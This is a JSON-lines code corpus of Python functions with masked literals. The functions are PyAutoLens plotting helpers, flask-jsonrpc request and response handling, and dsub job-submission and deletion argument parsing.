{"signature": "def plot_potential_chi_squared_map(<EOL>ccd_data, plot_origin=True, mask=None, extract_array_from_mask=False, zoom_around_mask=False, as_subplot=False,<EOL>units='<STR_LIT>', kpc_per_arcsec=None, figsize=(<NUM_LIT:7>, <NUM_LIT:7>), aspect='<STR_LIT>',<EOL>cmap='<STR_LIT>', norm='<STR_LIT>', norm_min=None, norm_max=None, linthresh=<NUM_LIT>, linscale=<NUM_LIT>,<EOL>cb_ticksize=<NUM_LIT:10>, cb_fraction=<NUM_LIT>, cb_pad=<NUM_LIT>, cb_tick_values=None, cb_tick_labels=None,<EOL>title='<STR_LIT>', titlesize=<NUM_LIT:16>, xlabelsize=<NUM_LIT:16>, ylabelsize=<NUM_LIT:16>, xyticksize=<NUM_LIT:16>,<EOL>mask_pointsize=<NUM_LIT:10>,<EOL>output_path=None, output_format='<STR_LIT>', output_filename='<STR_LIT>'):", "body": "data_plotters.plot_potential_chi_squared_map(<EOL>potential_chi_squared_map=ccd_data.potential_chi_squared_map, plot_origin=plot_origin, mask=mask,<EOL>extract_array_from_mask=extract_array_from_mask, zoom_around_mask=zoom_around_mask, as_subplot=as_subplot,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec, figsize=figsize, aspect=aspect,<EOL>cmap=cmap, norm=norm, norm_min=norm_min, norm_max=norm_max, linthresh=linthresh, linscale=linscale,<EOL>cb_ticksize=cb_ticksize, cb_fraction=cb_fraction, cb_pad=cb_pad, <EOL>cb_tick_values=cb_tick_values, cb_tick_labels=cb_tick_labels,<EOL>title=title, titlesize=titlesize, xlabelsize=xlabelsize, ylabelsize=ylabelsize, xyticksize=xyticksize,<EOL>mask_pointsize=mask_pointsize,<EOL>output_path=output_path, output_format=output_format, output_filename=output_filename)<EOL>", "docstring": "Plot the signal-to-noise_map-map of the ccd data.\n\n    Set *autolens.data.array.plotters.array_plotters* for a description of all innput parameters not described below.\n\n    Parameters\n    -----------\n    image : data.CCDData\n        The ccd data, which includes the observed image, noise_map-map, PSF, signal-to-noise_map-map, etc.\n    plot_origin : True\n        If true, the origin of the data's coordinate system is plotted as a 'x'.", "id": "f6000:m7"}
{"signature": "def get_origin(array, plot_origin):", "body": "if plot_origin:<EOL><INDENT>return array.origin<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Get the (y,x) origin of the ccd data if it going to be plotted.\n\n    Parameters\n    -----------\n    array : data.array.scaled_array.ScaledArray\n        The array from which the origin is extracted.\n    plot_origin : True\n        If true, the origin of the data's coordinate system is returned.", "id": "f6000:m8"}
{"signature": "def pixel_scale_from_data_resolution(data_resolution):", "body": "if data_resolution == '<STR_LIT>':<EOL><INDENT>return <NUM_LIT><EOL><DEDENT>elif data_resolution == '<STR_LIT>':<EOL><INDENT>return <NUM_LIT:0.1><EOL><DEDENT>elif data_resolution == '<STR_LIT>':<EOL><INDENT>return <NUM_LIT><EOL><DEDENT>elif data_resolution == '<STR_LIT>':<EOL><INDENT>return <NUM_LIT><EOL><DEDENT>elif data_resolution == '<STR_LIT>':<EOL><INDENT>return <NUM_LIT><EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>', data_resolution)<EOL><DEDENT>", "docstring": "Determine the pixel scale from a data resolution type based on real observations.\n\n    These options are representative of LSST, Euclid, HST, over-sampled HST and Adaptive Optics image.\n\n    Parameters\n    ----------\n    data_resolution : str\n        A string giving the resolution of the desired data type (LSST | Euclid | HST | HST_Up | AO).", "id": "f6145:m0"}
{"signature": "def shape_from_data_resolution(data_resolution):", "body": "if data_resolution == '<STR_LIT>':<EOL><INDENT>return (<NUM_LIT:100>, <NUM_LIT:100>)<EOL><DEDENT>elif data_resolution == '<STR_LIT>':<EOL><INDENT>return (<NUM_LIT>, <NUM_LIT>)<EOL><DEDENT>elif data_resolution == '<STR_LIT>':<EOL><INDENT>return (<NUM_LIT>, <NUM_LIT>)<EOL><DEDENT>elif data_resolution == '<STR_LIT>':<EOL><INDENT>return (<NUM_LIT>, <NUM_LIT>)<EOL><DEDENT>elif data_resolution == '<STR_LIT>':<EOL><INDENT>return (<NUM_LIT>, <NUM_LIT>)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>', data_resolution)<EOL><DEDENT>", "docstring": "Determine the shape of an image from a data resolution type based on real observations.\n\n    These options are representative of LSST, Euclid, HST, over-sampled HST and Adaptive Optics image.\n\n    Parameters\n    ----------\n    data_resolution : str\n        A string giving the resolution of the desired data type (LSST | Euclid | HST | HST_Up | AO).", "id": "f6145:m1"}
{"signature": "def run(self):", "body": "errno = call(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>'])<EOL>raise SystemExit(errno)<EOL>", "docstring": "Run all tests!", "id": "f6150:c0:m2"}
{"signature": "def send_payload(self, params):", "body": "data = json.dumps({<EOL>'<STR_LIT>': self.version,<EOL>'<STR_LIT>': self.service_name,<EOL>'<STR_LIT>': params,<EOL>'<STR_LIT:id>': text_type(uuid.uuid4())<EOL>})<EOL>data_binary = data.encode('<STR_LIT:utf-8>')<EOL>url_request = Request(self.service_url, data_binary, headers=self.headers)<EOL>return urlopen(url_request).read()<EOL>", "docstring": "Performs the actual sending action and returns the result", "id": "f6175:c0:m3"}
{"signature": "def make_response(self, rv):", "body": "status_or_headers = headers = None<EOL>if isinstance(rv, tuple):<EOL><INDENT>rv, status_or_headers, headers = rv + (None,) * (<NUM_LIT:3> - len(rv))<EOL><DEDENT>if rv is None:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if isinstance(status_or_headers, (dict, list)):<EOL><INDENT>headers, status_or_headers = status_or_headers, None<EOL><DEDENT>D = json.loads(extract_raw_data_request(request))<EOL>if type(D) is list:<EOL><INDENT>raise InvalidRequestError('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>response_obj = self.empty_response(version=D['<STR_LIT>'])<EOL>response_obj['<STR_LIT:id>'] = D['<STR_LIT:id>']<EOL>response_obj['<STR_LIT:result>'] = rv<EOL>response_obj.pop('<STR_LIT:error>', None)<EOL>rv = jsonify(response_obj)<EOL><DEDENT>if status_or_headers is not None:<EOL><INDENT>if isinstance(status_or_headers, string_types):<EOL><INDENT>rv.status = status_or_headers<EOL><DEDENT>else:<EOL><INDENT>rv.status_code = status_or_headers<EOL><DEDENT><DEDENT>if headers:<EOL><INDENT>rv.headers.extend(headers)<EOL><DEDENT>return rv<EOL>", "docstring": "Converts the return value from a view function to a real\n        response object that is an instance of :attr:`response_class`.", "id": "f6176:c0:m10"}
{"signature": "def to_native_string(string, encoding='<STR_LIT:ascii>'):", "body": "out = None<EOL>if isinstance(string, builtin_str):<EOL><INDENT>out = string<EOL><DEDENT>else:<EOL><INDENT>if PY2:<EOL><INDENT>out = string.encode(encoding)<EOL><DEDENT>else:<EOL><INDENT>out = string.decode(encoding)<EOL><DEDENT><DEDENT>return out<EOL>", "docstring": "Given a string object, regardless of type, returns a representation of that\nstring in the native string type, encoding and decoding where necessary.\nThis assumes ASCII unless told otherwise.", "id": "f6177:m0"}
{"signature": "def _validate_arg(value, expected):", "body": "if type(value) == expected:<EOL><INDENT>return True<EOL><DEDENT>return False<EOL>", "docstring": "Returns whether or not ``value`` is the ``expected`` type.", "id": "f6179:m1"}
{"signature": "def _eval_arg_type(arg_type, T=Any, arg=None, sig=None):", "body": "try:<EOL><INDENT>T = eval(arg_type)<EOL><DEDENT>except Exception as e:<EOL><INDENT>raise ValueError('<STR_LIT>'.format(arg_type, arg, sig, text_type(e)))<EOL><DEDENT>else:<EOL><INDENT>if type(T) not in (type, Type):<EOL><INDENT>raise TypeError('<STR_LIT>'.format(repr(T), arg, sig))<EOL><DEDENT>return T<EOL><DEDENT>", "docstring": "Returns a type from a snippit of python source. Should normally be\n    something just like 'str' or 'Object'.\n\n        arg_type            the source to be evaluated\n        T                         the default type\n        arg                     context of where this type was extracted\n        sig                     context from where the arg was extracted\n\n    Returns a type or a Type", "id": "f6179:m2"}
{"signature": "def _parse_sig(sig, arg_names, validate=False):", "body": "d = SIG_RE.match(sig)<EOL>if not d:<EOL><INDENT>raise ValueError('<STR_LIT>'.format(sig))<EOL><DEDENT>d = d.groupdict()<EOL>ret = [(n, Any) for n in arg_names]<EOL>if text_type('<STR_LIT>') in d and type(d['<STR_LIT>']) in string_types and d['<STR_LIT>'].strip():<EOL><INDENT>for i, arg in enumerate(d['<STR_LIT>'].strip().split('<STR_LIT:U+002C>')):<EOL><INDENT>_type_checking_available(sig, validate)<EOL>if text_type('<STR_LIT:=>') in arg:<EOL><INDENT>if not type(ret) is OrderedDict:<EOL><INDENT>ret = OrderedDict(ret)<EOL><DEDENT>dk = KWARG_RE.match(arg)<EOL>if not dk:<EOL><INDENT>raise ValueError('<STR_LIT>'.format(arg, sig))<EOL><DEDENT>dk = dk.groupdict()<EOL>if not sum([(k in dk and type(dk[k]) in string_types and bool(dk[k].strip()))<EOL>for k in ('<STR_LIT>', '<STR_LIT>')]):<EOL><INDENT>raise ValueError('<STR_LIT>'.format(arg, sig))<EOL><DEDENT>ret[dk['<STR_LIT>']] = _eval_arg_type(dk['<STR_LIT>'], None, arg, sig)<EOL><DEDENT>else:<EOL><INDENT>if type(ret) is OrderedDict:<EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>'<STR_LIT>'.format(sig))<EOL><DEDENT>if len(ret) < i + <NUM_LIT:1>:<EOL><INDENT>ret.append((text_type(i), _eval_arg_type(arg, None, arg, sig)))<EOL><DEDENT>else:<EOL><INDENT>ret[i] = (ret[i][<NUM_LIT:0>], _eval_arg_type(arg, None, arg, sig))<EOL><DEDENT><DEDENT><DEDENT><DEDENT>if not type(ret) is OrderedDict:<EOL><INDENT>ret = OrderedDict(ret)<EOL><DEDENT>return (d['<STR_LIT>'],<EOL>ret,<EOL>(_eval_arg_type(d['<STR_LIT>'], Any, '<STR_LIT>', sig)<EOL>if d['<STR_LIT>'] else Any))<EOL>", "docstring": "Parses signatures into a ``OrderedDict`` of paramName => type.\n    Numerically-indexed arguments that do not correspond to an argument\n    name in python (ie: it takes a variable number of arguments) will be\n    keyed as the stringified version of it's index.\n\n        sig           the signature to be parsed\n        arg_names     a list of argument names extracted from python source\n\n    Returns a tuple of (method name, types dict, return type)", "id": "f6179:m3"}
{"signature": "def _inject_args(sig, types):", "body": "if '<STR_LIT:(>' in sig:<EOL><INDENT>parts = sig.split('<STR_LIT:(>')<EOL>sig = '<STR_LIT>'.format(<EOL>parts[<NUM_LIT:0>], '<STR_LIT:U+002CU+0020>'.join(types),<EOL>('<STR_LIT:U+002CU+0020>' if parts[<NUM_LIT:1>].index('<STR_LIT:)>') > <NUM_LIT:0> else '<STR_LIT>'), parts[<NUM_LIT:1>]<EOL>)<EOL><DEDENT>else:<EOL><INDENT>sig = '<STR_LIT>'.format(sig, '<STR_LIT:U+002CU+0020>'.join(types))<EOL><DEDENT>return sig<EOL>", "docstring": "A function to inject arguments manually into a method signature before\n    it's been parsed. If using keyword arguments use 'kw=type' instead in\n    the types array.\n\n        sig         the string signature\n        types       a list of types to be inserted\n\n    Returns the altered signature.", "id": "f6179:m4"}
{"signature": "def make_response(*args):", "body": "from flask_jsonrpc.site import jsonrpc_site<EOL>return jsonrpc_site.make_response(args)<EOL>", "docstring": "Sometimes it is necessary to set additional headers in a view.  Because\n    views do not have to return response objects but can return a value that\n    is converted into a response object by Flask itself, it becomes tricky to\n    add headers to it.  This function can be called instead of using a return\n    and you will get a response object which you can use to attach headers.", "id": "f6180:m0"}
{"signature": "def jsonify_status_code(status_code, *args, **kw):", "body": "is_batch = kw.pop('<STR_LIT>', False)<EOL>if is_batch:<EOL><INDENT>response = flask_make_response(json.dumps(*args, **kw))<EOL>response.mimetype = '<STR_LIT:application/json>'<EOL>response.status_code = status_code<EOL>return response<EOL><DEDENT>response = jsonify(*args, **kw)<EOL>response.status_code = status_code<EOL>return response<EOL>", "docstring": "Returns a jsonified response with the specified HTTP status code.\n\n    The positional and keyword arguments are passed directly to the\n    :func:`flask.jsonify` function which creates the response.", "id": "f6180:m1"}
{"signature": "def __init__(self, message=None, code=None, data=None):", "body": "super(Error, self).__init__()<EOL>if message is not None:<EOL><INDENT>self.message = message<EOL><DEDENT>if code is not None:<EOL><INDENT>self.code = code<EOL><DEDENT>if data is not None:<EOL><INDENT>self.data = data<EOL><DEDENT>", "docstring": "Setup the Exception and overwrite the default message", "id": "f6181:c0:m0"}
{"signature": "@property<EOL><INDENT>def json_rpc_format(self):<DEDENT>", "body": "error = {<EOL>'<STR_LIT:name>': text_type(self.__class__.__name__),<EOL>'<STR_LIT:code>': self.code,<EOL>'<STR_LIT:message>': '<STR_LIT>'.format(text_type(self.message)),<EOL>'<STR_LIT:data>': self.data<EOL>}<EOL>if current_app.config['<STR_LIT>']:<EOL><INDENT>import sys, traceback<EOL>error['<STR_LIT>'] = traceback.format_exc()<EOL>error['<STR_LIT>'] = sys.executable<EOL><DEDENT>return error<EOL>", "docstring": "Return the Exception data in a format for JSON-RPC", "id": "f6181:c0:m1"}
{"signature": "def register(self, app, options, first_registration=False):", "body": "self.jsonrpc_site = options.get('<STR_LIT>')<EOL>self._got_registered_once = True<EOL>state = self.make_setup_state(app, options, first_registration)<EOL>if self.has_static_folder andnot self.name + '<STR_LIT>' in state.app.view_functions.keys():<EOL><INDENT>state.add_url_rule(self.static_url_path + '<STR_LIT>',<EOL>view_func=self.send_static_file,<EOL>endpoint='<STR_LIT>')<EOL><DEDENT>for deferred in self.deferred_functions:<EOL><INDENT>deferred(state)<EOL><DEDENT>", "docstring": "Called by :meth:`Flask.register_blueprint` to register a blueprint\n        on the application. This can be overridden to customize the register\n        behavior. Keyword arguments from\n        :func:`~flask.Flask.register_blueprint` are directly forwarded to this\n        method in the `options` dictionary.", "id": "f6182:c0:m0"}
{"signature": "def _parse_arguments():", "body": "<EOL>param_util.handle_version_flag()<EOL>parser = provider_base.create_parser(sys.argv[<NUM_LIT:0>])<EOL>parser.add_argument(<EOL>'<STR_LIT>', '<STR_LIT>', default=False, help='<STR_LIT>')<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>required=True,<EOL>nargs='<STR_LIT:*>',<EOL>help='<STR_LIT>')<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>nargs='<STR_LIT:*>',<EOL>help='<STR_LIT>')<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>nargs='<STR_LIT:*>',<EOL>default=[],<EOL>help=\"\"\"<STR_LIT>\"\"\")<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>help=\"\"\"<STR_LIT>\"\"\")<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>nargs='<STR_LIT:*>',<EOL>action=param_util.ListParamAction,<EOL>default=[],<EOL>help='<STR_LIT>',<EOL>metavar='<STR_LIT>')<EOL>google_common = parser.add_argument_group(<EOL>title='<STR_LIT>',<EOL>description='<STR_LIT>')<EOL>google_common.add_argument(<EOL>'<STR_LIT>',<EOL>help='<STR_LIT>')<EOL>return provider_base.parse_args(<EOL>parser, {<EOL>'<STR_LIT>': ['<STR_LIT>'],<EOL>'<STR_LIT>': ['<STR_LIT>'],<EOL>'<STR_LIT>': [],<EOL>'<STR_LIT>': [],<EOL>}, sys.argv[<NUM_LIT:1>:])<EOL>", "docstring": "Parses command line arguments.\n\n    Returns:\n      A Namespace of parsed arguments.", "id": "f6184:m0"}
{"signature": "def _emit_search_criteria(user_ids, job_ids, task_ids, labels):", "body": "print('<STR_LIT>')<EOL>print('<STR_LIT>')<EOL>print('<STR_LIT>' % user_ids)<EOL>print('<STR_LIT>')<EOL>print('<STR_LIT>' % job_ids)<EOL>if task_ids:<EOL><INDENT>print('<STR_LIT>')<EOL>print('<STR_LIT>' % task_ids)<EOL><DEDENT>if labels:<EOL><INDENT>print('<STR_LIT>')<EOL>print('<STR_LIT>' % repr(labels))<EOL><DEDENT>", "docstring": "Print the filters used to delete tasks. Use raw flags as arguments.", "id": "f6184:m1"}
{"signature": "def ddel_tasks(provider,<EOL>user_ids=None,<EOL>job_ids=None,<EOL>task_ids=None,<EOL>labels=None,<EOL>create_time_min=None,<EOL>create_time_max=None):", "body": "<EOL>deleted_tasks, error_messages = provider.delete_jobs(<EOL>user_ids, job_ids, task_ids, labels, create_time_min, create_time_max)<EOL>for msg in error_messages:<EOL><INDENT>print(msg)<EOL><DEDENT>return deleted_tasks<EOL>", "docstring": "Kill jobs or job tasks.\n\n    This function separates ddel logic from flag parsing and user output. Users\n    of ddel who intend to access the data programmatically should use this.\n\n    Args:\n      provider: an instantiated dsub provider.\n      user_ids: a set of user ids who \"own\" the job(s) to delete.\n      job_ids: a set of job ids to delete.\n      task_ids: a set of task ids to delete.\n      labels: a set of LabelParam, each must match the job(s) to be cancelled.\n      create_time_min: a timezone-aware datetime value for the earliest create\n                       time of a task, inclusive.\n      create_time_max: a timezone-aware datetime value for the most recent create\n                       time of a task, inclusive.\n\n    Returns:\n      list of job ids which were deleted.", "id": "f6184:m3"}
{"signature": "def _google_parse_arguments(args):", "body": "if args.machine_type:<EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>if args.mount:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Validated google arguments.", "id": "f6185:m0"}
{"signature": "def _google_v2_parse_arguments(args):", "body": "if (args.zones and args.regions) or (not args.zones and not args.regions):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if args.machine_type and (args.min_cores or args.min_ram):<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>')<EOL><DEDENT>", "docstring": "Validated google-v2 arguments.", "id": "f6185:m1"}
{"signature": "def _parse_arguments(prog, argv):", "body": "<EOL>param_util.handle_version_flag()<EOL>parser = provider_base.create_parser(prog)<EOL>parser.add_argument(<EOL>'<STR_LIT>', '<STR_LIT>', default=False, help='<STR_LIT>')<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>default=False,<EOL>action='<STR_LIT:store_true>',<EOL>help=\"\"\"<STR_LIT>\"\"\")<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>help=\"\"\"<STR_LIT>\"\"\")<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>nargs='<STR_LIT:*>',<EOL>action=TaskParamAction,<EOL>help=\"\"\"<STR_LIT>\"\"\",<EOL>metavar='<STR_LIT>')<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>default='<STR_LIT>',<EOL>help=\"\"\"<STR_LIT>\"\"\")<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>default=False,<EOL>action='<STR_LIT:store_true>',<EOL>help='<STR_LIT>')<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>help=\"\"\"<STR_LIT>\"\"\",<EOL>metavar='<STR_LIT>')<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>help=\"\"\"<STR_LIT>\"\"\",<EOL>metavar='<STR_LIT>')<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>nargs='<STR_LIT:*>',<EOL>action=param_util.ListParamAction,<EOL>default=[],<EOL>help='<STR_LIT>',<EOL>metavar='<STR_LIT>')<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>nargs='<STR_LIT:*>',<EOL>action=param_util.ListParamAction,<EOL>default=[],<EOL>help='<STR_LIT>',<EOL>metavar='<STR_LIT>')<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>nargs='<STR_LIT:*>',<EOL>action=param_util.ListParamAction,<EOL>default=[],<EOL>help=\"\"\"<STR_LIT>\"\"\",<EOL>metavar='<STR_LIT>')<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>nargs='<STR_LIT:*>',<EOL>action=param_util.ListParamAction,<EOL>default=[],<EOL>help=\"\"\"<STR_LIT>\"\"\",<EOL>metavar='<STR_LIT>')<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>nargs='<STR_LIT:*>',<EOL>action=param_util.ListParamAction,<EOL>default=[],<EOL>help=\"\"\"<STR_LIT>\"\"\",<EOL>metavar='<STR_LIT>')<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>nargs='<STR_LIT:*>',<EOL>action=param_util.ListParamAction,<EOL>default=[],<EOL>help=\"\"\"<STR_LIT>\"\"\",<EOL>metavar='<STR_LIT>')<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>help='<STR_LIT>')<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>help=\"\"\"<STR_LIT>\"\"\")<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>nargs='<STR_LIT:*>',<EOL>action=param_util.ListParamAction,<EOL>default=[],<EOL>help=\"\"\"<STR_LIT>\"\"\",<EOL>metavar='<STR_LIT>')<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>action='<STR_LIT:store_true>',<EOL>help='<STR_LIT>')<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>default=<NUM_LIT:0>,<EOL>type=int,<EOL>help='<STR_LIT>')<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>default=<NUM_LIT:10>,<EOL>type=int,<EOL>help='<STR_LIT>'<EOL>'<STR_LIT>')<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>nargs='<STR_LIT:+>',<EOL>default=[],<EOL>help='<STR_LIT>')<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>default=False,<EOL>action='<STR_LIT:store_true>',<EOL>help=\"\"\"<STR_LIT>\"\"\")<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>type=int,<EOL>help='<STR_LIT>')<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>type=float,<EOL>help='<STR_LIT>')<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>default=job_model.DEFAULT_DISK_SIZE,<EOL>type=int,<EOL>help='<STR_LIT>')<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>help='<STR_LIT>'<EOL>'<STR_LIT>')<EOL>google_common = parser.add_argument_group(<EOL>title='<STR_LIT>',<EOL>description='<STR_LIT>')<EOL>google_common.add_argument(<EOL>'<STR_LIT>', help='<STR_LIT>')<EOL>google_common.add_argument(<EOL>'<STR_LIT>',<EOL>default=job_model.DEFAULT_BOOT_DISK_SIZE,<EOL>type=int,<EOL>help='<STR_LIT>')<EOL>google_common.add_argument(<EOL>'<STR_LIT>',<EOL>default=False,<EOL>action='<STR_LIT:store_true>',<EOL>help='<STR_LIT>')<EOL>google_common.add_argument(<EOL>'<STR_LIT>', nargs='<STR_LIT:+>', help='<STR_LIT>')<EOL>google_common.add_argument(<EOL>'<STR_LIT>',<EOL>nargs='<STR_LIT:+>',<EOL>help=\"\"\"<STR_LIT>\"\"\" % '<STR_LIT:U+002C>'.join(<EOL>google_base.DEFAULT_SCOPES))<EOL>google_common.add_argument(<EOL>'<STR_LIT>',<EOL>help=\"\"\"<STR_LIT>\"\"\")<EOL>google_common.add_argument(<EOL>'<STR_LIT>',<EOL>type=int,<EOL>default=<NUM_LIT:0>,<EOL>help=\"\"\"<STR_LIT>\"\"\")<EOL>google = parser.add_argument_group(<EOL>title='<STR_LIT>',<EOL>description='<STR_LIT>')<EOL>google.add_argument(<EOL>'<STR_LIT>',<EOL>type=int,<EOL>help=\"\"\"<STR_LIT>\"\"\")<EOL>google_v2 = parser.add_argument_group(<EOL>title='<STR_LIT>',<EOL>description='<STR_LIT>')<EOL>google_v2.add_argument(<EOL>'<STR_LIT>',<EOL>nargs='<STR_LIT:+>',<EOL>help=\"\"\"<STR_LIT>\"\"\")<EOL>google_v2.add_argument(<EOL>'<STR_LIT>', help='<STR_LIT>')<EOL>google_v2.add_argument(<EOL>'<STR_LIT>',<EOL>help=\"\"\"<STR_LIT>\"\"\"<EOL>)<EOL>google_v2.add_argument(<EOL>'<STR_LIT>',<EOL>help=\"\"\"<STR_LIT>\"\"\")<EOL>google_v2.add_argument(<EOL>'<STR_LIT>',<EOL>help=\"\"\"<STR_LIT>\"\"\")<EOL>google_v2.add_argument(<EOL>'<STR_LIT>',<EOL>default=False,<EOL>action='<STR_LIT:store_true>',<EOL>help='<STR_LIT>')<EOL>google_v2.add_argument(<EOL>'<STR_LIT>',<EOL>help=\"\"\"<STR_LIT>\"\"\")<EOL>google_v2.add_argument(<EOL>'<STR_LIT>',<EOL>help=\"\"\"<STR_LIT>\"\"\")<EOL>google_v2.add_argument(<EOL>'<STR_LIT>',<EOL>default=False,<EOL>action='<STR_LIT:store_true>',<EOL>help=\"\"\"<STR_LIT>\"\"\")<EOL>google_v2.add_argument(<EOL>'<STR_LIT>',<EOL>help=\"\"\"<STR_LIT>\"\"\")<EOL>google_v2.add_argument(<EOL>'<STR_LIT>',<EOL>type=str,<EOL>help=\"\"\"<STR_LIT>\"\"\")<EOL>google_v2.add_argument(<EOL>'<STR_LIT>',<EOL>help=\"\"\"<STR_LIT>\"\"\")<EOL>args = provider_base.parse_args(<EOL>parser, {<EOL>'<STR_LIT>': ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>'],<EOL>'<STR_LIT>': ['<STR_LIT>', '<STR_LIT>'],<EOL>'<STR_LIT>': [],<EOL>'<STR_LIT>': ['<STR_LIT>'],<EOL>}, argv)<EOL>if args.provider == '<STR_LIT>':<EOL><INDENT>_google_parse_arguments(args)<EOL><DEDENT>if args.provider == '<STR_LIT>':<EOL><INDENT>_google_v2_parse_arguments(args)<EOL><DEDENT>return args<EOL>", "docstring": "Parses command line arguments.\n\n    Args:\n      prog: The path of the program (dsub.py) or an alternate program name to\n      display in usage.\n      argv: The list of program arguments to parse.\n\n    Returns:\n      A Namespace of parsed arguments.", "id": "f6185:m2"}
{"signature": "def _get_job_resources(args):", "body": "logging = param_util.build_logging_param(<EOL>args.logging) if args.logging else None<EOL>timeout = param_util.timeout_in_seconds(args.timeout)<EOL>log_interval = param_util.log_interval_in_seconds(args.log_interval)<EOL>return job_model.Resources(<EOL>min_cores=args.min_cores,<EOL>min_ram=args.min_ram,<EOL>machine_type=args.machine_type,<EOL>disk_size=args.disk_size,<EOL>disk_type=args.disk_type,<EOL>boot_disk_size=args.boot_disk_size,<EOL>preemptible=args.preemptible,<EOL>image=args.image,<EOL>regions=args.regions,<EOL>zones=args.zones,<EOL>logging=logging,<EOL>logging_path=None,<EOL>service_account=args.service_account,<EOL>scopes=args.scopes,<EOL>keep_alive=args.keep_alive,<EOL>cpu_platform=args.cpu_platform,<EOL>network=args.network,<EOL>subnetwork=args.subnetwork,<EOL>use_private_address=args.use_private_address,<EOL>accelerator_type=args.accelerator_type,<EOL>accelerator_count=args.accelerator_count,<EOL>nvidia_driver_version=args.nvidia_driver_version,<EOL>timeout=timeout,<EOL>log_interval=log_interval,<EOL>ssh=args.ssh)<EOL>", "docstring": "Extract job-global resources requirements from input args.\n\n    Args:\n      args: parsed command-line arguments\n\n    Returns:\n      Resources object containing the requested resources for the job", "id": "f6185:m3"}
{"signature": "def _get_job_metadata(provider, user_id, job_name, script, task_ids,<EOL>user_project, unique_job_id):", "body": "create_time = dsub_util.replace_timezone(datetime.datetime.now(), tzlocal())<EOL>user_id = user_id or dsub_util.get_os_user()<EOL>job_metadata = provider.prepare_job_metadata(script.name, job_name, user_id,<EOL>create_time)<EOL>if unique_job_id:<EOL><INDENT>job_metadata['<STR_LIT>'] = uuid.uuid4().hex<EOL><DEDENT>job_metadata['<STR_LIT>'] = create_time<EOL>job_metadata['<STR_LIT>'] = script<EOL>job_metadata['<STR_LIT>'] = user_project<EOL>if task_ids:<EOL><INDENT>job_metadata['<STR_LIT>'] = dsub_util.compact_interval_string(list(task_ids))<EOL><DEDENT>return job_metadata<EOL>", "docstring": "Allow provider to extract job-specific metadata from command-line args.\n\n    Args:\n      provider: job service provider\n      user_id: user submitting the job\n      job_name: name for the job\n      script: the script to run\n      task_ids: a set of the task-ids for all tasks in the job\n      user_project: name of the project to be billed for the request\n      unique_job_id: generate a unique job id\n\n    Returns:\n      A dictionary of job-specific metadata (such as job id, name, etc.)", "id": "f6185:m4"}
{"signature": "def _resolve_task_logging(job_metadata, job_resources, task_descriptors):", "body": "if not job_resources.logging:<EOL><INDENT>return<EOL><DEDENT>for task_descriptor in task_descriptors:<EOL><INDENT>logging_uri = provider_base.format_logging_uri(<EOL>job_resources.logging.uri, job_metadata, task_descriptor.task_metadata)<EOL>logging_path = job_model.LoggingParam(logging_uri,<EOL>job_resources.logging.file_provider)<EOL>if task_descriptor.task_resources:<EOL><INDENT>task_descriptor.task_resources = task_descriptor.task_resources._replace(<EOL>logging_path=logging_path)<EOL><DEDENT>else:<EOL><INDENT>task_descriptor.task_resources = job_model.Resources(<EOL>logging_path=logging_path)<EOL><DEDENT><DEDENT>", "docstring": "Resolve the logging path from job and task properties.\n\n    Args:\n      job_metadata: Job metadata, such as job-id, job-name, and user-id.\n      job_resources: Resources specified such as ram, cpu, and logging path.\n      task_descriptors: Task metadata, parameters, and resources.\n\n    Resolve the logging path, which may have substitution parameters such as\n    job-id, task-id, user-id, and job-name.", "id": "f6185:m5"}
